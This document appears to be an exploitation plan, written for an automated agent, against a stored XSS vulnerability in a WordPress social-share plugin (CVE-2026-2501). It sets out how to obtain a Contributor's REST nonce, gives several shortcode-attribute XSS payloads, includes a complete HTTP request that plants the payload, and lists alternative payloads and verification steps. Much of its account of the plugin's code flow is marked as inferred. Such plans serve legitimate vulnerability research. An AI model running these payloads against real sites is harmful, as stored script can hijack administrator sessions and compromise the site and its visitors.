Exploitation Research Plan: CVE-2026-2501 (Ed's Social Share <= 2.0)

1. Vulnerability Summary

The Ed's Social Share plugin (versions up to 2.0) is vulnerable to Stored Cross-Site Scripting (XSS). The plugin registers a shortcode, social_share, which accepts user-defined attributes (e.g., titles, URLs, or custom styles). Due to a lack of sanitization in the shortcode's callback function and a failure to escape these attributes during HTML generation, an authenticated user with at least Contributor permissions can inject malicious JavaScript into a post or page. This script executes in the context of any user (including administrators) who views the affected content.

2. Attack Vector Analysis

• Shortcode: [social_share]
• Vulnerable Parameters: Shortcode attributes (inferred: title, url, icon, class, or style).
• Authentication Level: Authenticated (Contributor+). Contributors can create posts and embed shortcodes but cannot normally use unfiltered_html.
• Preconditions: The plugin must be active. A post containing the malicious shortcode must be published or previewed.

3. Code Flow (Inferred)

1. Registration: The plugin uses add_shortcode( 'social_share', 'callback_function' ) during the init or plugins_loaded hook.
2. Parsing: When a post is rendered, WordPress calls the shortcode's callback. The callback likely uses shortcode_atts() to merge user-supplied attributes with defaults.
3. Sink: The callback function constructs an HTML string (e.g., <a>, <div>, or <img> tags) by concatenating the attributes directly into the HTML without using escaping functions like esc_attr() or esc_html().
4. Output: The unsanitized HTML is returned by the callback and rendered on the page.

4. Nonce Acquisition Strategy

Shortcode rendering does not require a nonce. However, saving a post as a Contributor typically does.

To exploit this via the automated agent:

1. Standard Post Creation: Use the WordPress REST API or the classic editor.
2. Nonce Requirement: When using the REST API (/wp-json/wp/v2/posts), a _wpnonce is required in the header (X-WP-Nonce).
3. Acquisition:
   • Log in as a Contributor.
   • Navigate to the Dashboard (/wp-admin/).
   • Use browser_eval to extract the REST nonce from the global WordPress variable:
     browser_eval("wpApiSettings.nonce")
   • Use this nonce in the http_request tool to create a post containing the payload.

5. Exploitation Strategy

The goal is to inject an XSS payload via a shortcode attribute that breaks out of an HTML attribute or is rendered directly as a tag.

Step-by-Step Plan:

1. Authenticate: Log in as a user with the Contributor role.
2. Get Nonce: Extract the REST API nonce using the strategy in Section 4.
3. Inject Payload: Create a new post via the REST API containing the malicious shortcode.
   • Payload 1 (Attribute Breakout): [social_share title='"><script>alert(document.domain)</script>']
   • Payload 2 (Event Handler): [social_share icon='x" onerror="alert(1)"'] (inferred attribute name)
   • Payload 3 (URL Context): [social_share url='javascript:alert(1)']
4. Identify Post URL: Capture the URL of the newly created post from the API response.
5. Trigger XSS: Navigate to the post URL as an Administrator or an unauthenticated user to confirm the script execution.

Example HTTP Request (REST API):

POST /wp-json/wp/v2/posts HTTP/1.1
Host: target.example.com
Content-Type: application/json
X-WP-Nonce: [EXTRACTED_NONCE]

{
  "title": "Social Share Test",
  "content": "[social_share title='\" style=\"animation-name:rotation\" onanimationstart=\"alert(document.domain)\"']",
  "status": "pending"
}

Note: Contributors' posts are often set to pending. You can still preview them or have an admin publish them.

6. Test Data Setup

1. User: Create a user with the username contributor_attacker and the role contributor.
2. Plugin Status: Ensure eds-social-share is installed and activated.
3. Post: A page or post must exist where the shortcode can be viewed (this is handled during the Injection step).

7. Expected Results

• The shortcode should render on the frontend.
• If vulnerable, the HTML source will contain the raw payload, e.g.:
  <div class="share-title" title="" style="animation-name:rotation" onanimationstart="alert(document.domain)">
• The browser will trigger an alert box showing the document domain.

8. Verification Steps

1. CLI Check: Use WP-CLI to verify the post content:
   wp post list --post_type=post --status=pending --fields=ID,post_content
2. Source Inspection: Use http_request (GET) on the post URL and check if the payload is present in the response body without HTML encoding:
   grep "onanimationstart=\"alert" response_body.html
3. Execution Check: Use browser_navigate to the post and check for an alert or a specific DOM change.

9. Alternative Approaches

If the title attribute is sanitized, try other common attributes used by social sharing plugins (inferred):

• via: [social_share via='<script>alert(1)</script>']
• url: [social_share url='"><img src=x onerror=alert(1)>']
• description: [social_share description='</textarea><script>alert(1)</script>']
• Shortcode Tag Injection: If the plugin uses the content of the shortcode:
  [social_share]<script>alert(1)</script>[/social_share] (Check if the plugin supports enclosing shortcodes).